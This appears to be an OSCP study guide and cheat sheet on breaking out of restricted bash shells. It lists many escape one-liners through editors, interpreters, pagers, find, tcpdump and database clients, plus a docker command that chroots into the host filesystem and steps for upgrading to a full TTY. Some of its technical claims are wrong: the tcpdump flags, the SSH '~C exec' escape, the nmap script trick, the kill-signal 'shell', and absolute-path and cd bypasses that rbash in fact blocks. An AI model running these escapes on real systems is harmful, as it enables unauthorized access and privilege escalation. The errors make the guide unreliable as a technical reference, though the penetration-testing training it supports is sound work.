Bash Shell Escape
Overview
When you gain initial access to a Linux system, you often receive a restricted shell rather than a full interactive bash shell. Restricted shells limit your ability to navigate the filesystem, execute commands, and perform privilege escalation. Learning to escape these restrictions is a critical OSCP skill.
Understanding Restricted Shells
What is a Restricted Shell?
A restricted shell (rbash or restricted bash) is a bash instance with limitations enforced by the -r flag or by setting the shell to /bin/rbash in /etc/passwd.
Restrictions Imposed by rbash
| Restriction | Description | Bypass Difficulty |
|---|---|---|
No cd |
Cannot change directories | Easy (use other tools) |
| No PATH modification | Cannot change the PATH variable | Medium |
| No redirects | Cannot use >, >>, <, << |
Medium |
No exec |
Cannot replace shell with exec | N/A (use alternatives) |
| No absolute paths | Cannot execute commands with / |
Easy (use relative) |
| No environment modification | Cannot set/unset environment vars | Medium |
No source/. |
Cannot source shell scripts | Medium |
How Restricted Shells Are Created
# Method 1: Using rbash directly
rbash
# Method 2: Using bash --restricted
bash --restricted
# Method 3: Setting shell in /etc/passwd
# user:x:1001:1001::/home/user:/bin/rbash
# Method 4: SSH forced command
# In authorized_keys: command="/bin/rbash" ssh-rsa AAAA...
# Method 5: SUID wrapper that launches restricted shell
Identifying a Restricted Shell
# Check if shell is restricted
echo $-
# If 'r' is in the output, the shell is restricted
# Check the shell type
echo $SHELL
ps aux | grep $$
# Try restricted operations
cd /tmp # Will fail in rbash
export PATH=/bin # Will fail in rbash
echo "test" > /tmp/test # Will fail in rbash
Enumeration Inside a Restricted Shell
What Commands Still Work?
Even in a restricted shell, many commands are available:
# Basic info gathering
id
whoami
uname -a
uname -r
env
printenv
echo $PATH
echo $HOME
echo $SHELL
pwd
# File system browsing (without cd)
ls /
ls /home/
ls /etc/
cat /etc/passwd
cat /etc/shadow # May fail
cat /etc/hosts
# Check available binaries
ls /bin/
ls /usr/bin/
ls /usr/local/bin/
# Check for useful tools
which python python3 perl ruby lua awk vim vi nano less more man find
type python python3 perl ruby lua awk vim vi
# Check running processes
ps aux
ps -ef
# Check network
ifconfig
ip addr
cat /etc/resolv.conf
Finding Escape Tools
# Check for programming languages
for cmd in python python3 perl ruby lua php node; do
which $cmd 2>/dev/null && echo "FOUND: $cmd"
done
# Check for editors and pagers
for cmd in vim vi nano less more man awk sed; do
which $cmd 2>/dev/null && echo "FOUND: $cmd"
done
# Check for file utilities
for cmd in find tar zip unzip gzip curl wget nc ncat; do
which $cmd 2>/dev/null && echo "FOUND: $cmd"
done
Shell Escape Techniques
1. Vim / Vi
Availability: Very common on Linux systems
# Launch vim
vim
# Inside vim, escape to shell:
:!/bin/sh
# Or in newer vim versions:
:shell
# Or using the system command:
:!bash
# Alternative:
:!sh
# Exit the shell and return to vim:
exit
# Then quit vim:
:q!
Vim Escape Variants
# If /bin/sh is blocked, try:
:!/bin/bash
:!/bin/dash
:!/usr/bin/sh
# Using vim's built-in shell:
:terminal
# If you have vim but not vi:
vim -c ':!/bin/sh'
2. Python / Python3
Availability: Common on development and server systems
# Launch Python
python
# or
python3
# Escape to shell:
import os
os.system("/bin/sh")
# Alternative one-liner:
python -c 'import os; os.system("/bin/sh")'
# Using pty for a better shell:
python -c 'import pty; pty.spawn("/bin/sh")'
# Full interactive shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Python Escape Variants
# Method 1: os.system
import os
os.system("/bin/sh")
# Method 2: os.popen (limited)
import os
os.popen("/bin/sh")
# Method 3: subprocess
import subprocess
subprocess.call("/bin/sh", shell=True)
# Method 4: pty (best for interactive)
import pty
pty.spawn("/bin/bash")
# Method 5:pty with full TTY
import pty, os, signal
os.setsid()
pty.spawn("/bin/bash")
3. Perl
Availability: Very common (often pre-installed)
# Launch Perl
perl
# Escape to shell:
exec "/bin/sh"
# Or:
exec "/bin/bash"
# One-liner:
perl -e 'exec "/bin/sh"'
# With pty:
perl -e 'use POSIX; setsid; exec "/bin/sh";'
4. Ruby
Availability: Common on development systems
# Launch Ruby
ruby
# Escape to shell:
exec "/bin/sh"
# Or:
exec "/bin/bash"
# One-liner:
ruby -e 'exec "/bin/sh"'
# Interactive shell:
ruby -e 'require "open3"; Open3.popen3("/bin/sh")'
5. Lua
Availability: Less common but present on some systems
# Launch Lua
lua
# Escape to shell:
os.execute("/bin/sh")
# Or:
os.execute("/bin/bash")
# One-liner:
lua -e 'os.execute("/bin/sh")'
6. AWK
Availability: Very common (POSIX standard)
# Launch AWK
awk
# Escape to shell:
BEGIN {system("/bin/sh")}
# One-liner:
awk 'BEGIN {system("/bin/sh")}'
# Alternative:
awk 'BEGIN {system("/bin/bash")}'
# With a file argument:
awk 'BEGIN {system("/bin/sh")}' /dev/null
7. Find
Availability: Very common (core utility)
# Escape using find's -exec
find . -exec /bin/sh \; -quit
# Alternative with bash:
find . -exec /bin/bash \; -quit
# Using -execdir:
find /tmp -exec /bin/sh \; -quit
# One-liner variants:
find / -name nonexist -exec /bin/sh \; 2>/dev/null
find . -maxdepth 0 -exec /bin/sh \;
8. Env
Availability: Common (core utility)
# Escape using env
env /bin/sh
# Or with bash:
env /bin/bash
# With specific environment:
env -i /bin/sh
9. Script
Availability: Part of util-linux, common on most systems
# Escape using script command
script -q /dev/null
# Or:
script /dev/null
# This spawns a new shell session
10. Less / More / Man
Availability: Very common (pager utilities)
# Using less
less /etc/passwd
# Inside less, press ! then type:
!sh
# Or:
!/bin/sh
# Or:
!/bin/bash
# Using more
more /etc/passwd
# Inside more, type:
!sh
# Using man
man less
# Inside man, press ! then type:
!sh
# Using man with a specific page:
man cat
!sh
11. SSH PTY Escape
Availability: When connected via SSH
# If you have an SSH session with a limited shell,
# can use the SSH's PTY escape sequences
# Press Enter first, then:
~?
# Shows available escape sequences
~C
# Escape to shell:
# Then
exec /bin/sh
# Or directly:
~C exec /bin/sh
# Other useful SSH escapes:
~. # Close connection
~B # Send BREAK
~V # Decrease verbosity
~v # Increase verbosity
12. Tcpdump
Availability: When tcpdump is installed
# Escape using tcpdump
tcpdump -ln -w /dev/null -W 1 -G 1 -z /bin/sh
# Breakdown:
# -ln : Listen on network, don't resolve names
# -w /dev/null : Write output to /dev/null
# -W 1 : Rotate after 1 file
# -G 1 : Rotate every 1 second
# -z /bin/sh : Run /bin/sh as postrotate command
# Alternative:
tcpdump -ln -w /dev/null -W 1 -G 1 -Z /bin/sh
13. Bash Itself
Availability: Always available (it’s the shell)
# Escape using bash -c
bash -c 'exec /bin/sh'
# Or:
bash -c 'exec /bin/bash'
# If bash is available but restricted:
/bin/bash -c 'exec /bin/sh'
# Spawn a new bash:
bash
# Force interactive:
bash -i
14. NCFTPput
Availability: When ncftp is installed
# Escape using ncftpput
ncftpput
# When prompted, use shell escape:
!/bin/sh
15. PostgreSQL (psql)
Availability: When PostgreSQL client is installed
# Launch psql
psql
# Escape to shell:
\! /bin/sh
# Or:
\! /bin/bash
# Exit and return to psql:
exit
# Then quit psql:
\q
16. MySQL
Availability: When MySQL client is installed (older versions)
# Launch mysql
mysql
# Escape to shell (older MySQL versions):
\! /bin/sh
# Or using system command:
system /bin/sh
# Note: Newer MySQL versions may block this
17. Nmap
Availability: When nmap is installed
# Launch nmap in interactive mode
nmap --interactive
# Inside nmap interactive mode:
!sh
# Or:
!/bin/sh
# Alternative using nmap scripting:
nmap --script=".*" -oN /dev/null
# Then use the interactive shell
18. ED (Line Editor)
Availability: POSIX standard editor
# Launch ed
ed
# Escape to shell:
!sh
# Or:
!/bin/sh
# Exit ed:
q
19. FTP
Availability: When ftp client is installed
# Launch ftp
ftp
# When at the ftp> prompt:
!sh
# Or:
!/bin/sh
# Exit ftp:
bye
20. Docker
Availability: When Docker is accessible
# If you have Docker access:
docker run -it alpine sh
# Or with a privileged container:
docker run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
# Or spawn a shell in a running container:
docker exec -it <container_id> sh
# Full escape to host:
docker run -v /:/host -it alpine chroot /host /bin/sh
Complete Escape Technique Reference Table
| # | Tool | Command | Availability | Reliability |
|---|---|---|---|---|
| 1 | vim/vi | :!/bin/sh or :shell |
Very High | ⭐⭐⭐⭐⭐ |
| 2 | python | import os; os.system("/bin/sh") |
High | ⭐⭐⭐⭐⭐ |
| 3 | python3 | import os; os.system("/bin/sh") |
Medium | ⭐⭐⭐⭐⭐ |
| 4 | perl | exec "/bin/sh" |
Very High | ⭐⭐⭐⭐⭐ |
| 5 | ruby | exec "/bin/sh" |
Medium | ⭐⭐⭐⭐⭐ |
| 6 | lua | os.execute("/bin/sh") |
Low | ⭐⭐⭐⭐ |
| 7 | awk | BEGIN {system("/bin/sh")} |
Very High | ⭐⭐⭐⭐⭐ |
| 8 | find | find . -exec /bin/sh \; -quit |
Very High | ⭐⭐⭐⭐⭐ |
| 9 | env | env /bin/sh |
High | ⭐⭐⭐⭐ |
| 10 | script | script -q /dev/null |
High | ⭐⭐⭐⭐ |
| 11 | less | !sh |
Very High | ⭐⭐⭐⭐⭐ |
| 12 | more | !sh |
High | ⭐⭐⭐⭐ |
| 13 | man | !sh |
Very High | ⭐⭐⭐⭐⭐ |
| 14 | ssh | ~C exec /bin/sh |
N/A (SSH only) | ⭐⭐⭐⭐⭐ |
| 15 | tcpdump | -z /bin/sh flags |
Low | ⭐⭐⭐ |
| 16 | bash | bash -c 'exec /bin/sh' |
Very High | ⭐⭐⭐⭐⭐ |
| 17 | ncftpput | !/bin/sh |
Low | ⭐⭐⭐ |
| 18 | psql | \! /bin/sh |
Low | ⭐⭐⭐⭐ |
| 19 | mysql | \! /bin/sh |
Low | ⭐⭐ |
| 20 | nmap | --interactive then !sh |
Low | ⭐⭐⭐ |
| 21 | ed | !sh |
Medium | ⭐⭐⭐⭐ |
| 22 | ftp | !sh |
Low | ⭐⭐⭐ |
| 23 | docker | docker run -it alpine sh |
Low | ⭐⭐⭐⭐⭐ |
What to Do When No Escape Tools Are Available
Technique 1: Check All Available Binaries
# List all available commands
ls /bin/ /usr/bin/ /usr/local/bin/ 2>/dev/null
# Check for any useful binary
for bin in /bin/* /usr/bin/* /usr/local/bin/*; do
file "$bin" 2>/dev/null | grep -i "executable"
done
Technique 2: Use Built-in Shell Features
# Bash built-ins that work in restricted shells:
echo $SHELL
echo $PATH
type cd # cd is a built-in
type echo
type test
type true
type false
# Use eval (if available):
eval /bin/sh
# Use command substitution:
`/bin/sh`
$(/bin/sh)
Technique 3: Bypass PATH Restrictions
# Even if PATH is restricted, you can often use relative paths
./bin/sh
./usr/bin/python
# Or use the full path directly:
/bin/sh
/usr/bin/python3
/bin/bash
Technique 4: Use Environment Variables
# Check what's in PATH
echo $PATH
# Try commands in PATH directories
for dir in $PATH; do
ls "$dir/" 2>/dev/null
done
Technique 5: Spawn Shell via Signal
# If you can run any command:
kill -STOP $$
# Then from another session:
kill -CONT $$
# This may spawn a new shell
Bypassing rbash Restrictions
Bypassing cd Restriction
# Use (subshell) to change directory
(cd /tmp && ls)
# Use find to navigate
find /tmp -name "flag"
# Use env to run commands in different dirs
env -C /tmp ls
Bypassing PATH Modification
# Use full paths
/bin/bash
/usr/bin/python3
# Use relative paths if in the right directory
./bin/sh
Bypassing Redirect Restrictions
# Use tee instead of redirect
echo "data" | tee /tmp/file
# Use cat with here-string (if available)
cat <<< "data" > /tmp/file # May fail in rbash
# Use printf with command
printf "data" | tee /tmp/file
Bypassing Absolute Path Execution
# Use relative paths
cd ..
./bin/sh
# Use subshells
(cd /bin && ./sh)
# Use env
env bash
Interactive Shell Upgrade
After escaping to a basic shell, upgrade to a fully interactive TTY:
# Method 1: Python pty
python -c 'import pty; pty.spawn("/bin/bash")'
# Method 2: Perl pty
perl -e 'exec "/bin/bash"'
# Method 3: Script
script -q /dev/null -c /bin/bash
# Method 4: Stty configuration (after getting basic shell)
stty raw -echo
fg
# Then:
reset
export SHELL=/bin/bash
export TERM=xterm-256color
stty rows 40 columns 120
Full TTY Setup
# After escaping, set up a proper TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# In the new shell:
Ctrl+Z # Background the shell
stty raw -echo; fg # Restore terminal
reset # Reset terminal
export SHELL=/bin/bash
export TERM=xterm-256color
stty rows <num> columns <num> # Set terminal size
OSCP Exam Tips
- Shell escape is common — when you get initial access, you often get a restricted shell
- Always check for vim first — it’s the most reliable escape method
- Python is your second best bet —
os.system("/bin/sh")works everywhere Python exists - Use
echo $-to check if your shell is restricted (look for ‘r’) - Try multiple escape methods — if one fails, another might work
less,man, andawkare often available and reliable- SSH PTY escape (
~C) is invaluable when connected via SSH with a forced command - After escaping, always upgrade to a full TTY — you need it for sudo, su, and proper enumeration
- Keep a cheat sheet handy — the escape commands are easy to forget under pressure
- If all else fails, try
bash -c 'exec /bin/sh'— bash itself can often escape restrictions
Quick Reference Cheat Sheet
# === CHECK RESTRICTIONS ===
echo $- # Look for 'r' flag
echo $SHELL # Check current shell
# === TOP ESCAPE METHODS ===
vim # Then: :!/bin/sh
python -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh"'
awk 'BEGIN {system("/bin/sh")}'
find . -exec /bin/sh \; -quit
less /etc/passwd # Then: !sh
man cat # Then: !sh
env /bin/sh
script -q /dev/null
bash -c 'exec /bin/sh'
# === SSH ESCAPE ===
exec /bin/sh # After pressing Enter
# === UPGRADE TO FULL TTY ===
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset
export SHELL=/bin/bash TERM=xterm-256color
Practice Scenarios
Scenario 1: Restricted SSH Shell
# You connect via SSH and get rbash
# $- contains 'r'
# cd /tmp fails
# export PATH=/bin fails
# Escape:
vim
:!/bin/sh
# Upgrade TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Scenario 2: Forced Command via SSH
# authorized_keys has: command="/bin/rbash" ssh-rsa AAAA...
# You get a restricted shell
# Escape using SSH PTY:
exec /bin/bash
# Or use vim if available:
vim
:shell
Scenario 3: SUID Wrapper with Restricted Shell
# A SUID binary launches rbash
# You need to escape rbash
# Check what's available:
ls /usr/bin/ | grep -E "vim|python|perl|awk|find|less"
# Use whatever is found:
awk 'BEGIN {system("/bin/sh")}'